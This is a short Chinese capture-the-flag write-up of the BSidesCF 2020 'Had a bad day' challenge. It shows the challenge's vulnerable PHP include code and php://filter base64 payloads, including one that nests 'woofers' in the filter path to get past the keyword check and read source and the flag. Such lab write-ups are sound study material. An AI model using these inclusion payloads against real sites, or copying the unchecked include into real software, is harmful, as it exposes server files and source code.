[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

测试

一些猫狗的图片加上url有传参，测试到文件包含时报错了。

使用php伪协议：

php伪协议

php://fliter/read=convert.base64-encode/resource=index

base64解码后拿下了index.php的源码.

            <?php
			$file = $_GET['category'];  

			if(isset($file))
			{
				if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
					include ($file . '.php');
				}
				else{
					echo "Sorry, we currently only support woofers and meowers.";
				}
			}
			?>

分析

1.我们的传参flie的值如果是woofers或者是meowers和index就会包含flie.index文件

2.先直接包含flag时

页面没反应但是在elemenrs里发现了线索。

**虽然看不到flag但确实有些东西被包含进去了

3.后来看文章才知道php://filter伪协议可以套一层协议(新知识)。

构造payload

这样只需要嵌套一个符合的flie：

php://filter/read=convert.base64-encode/woofers/resource=index



拿到一串base64

5.解密后是flag**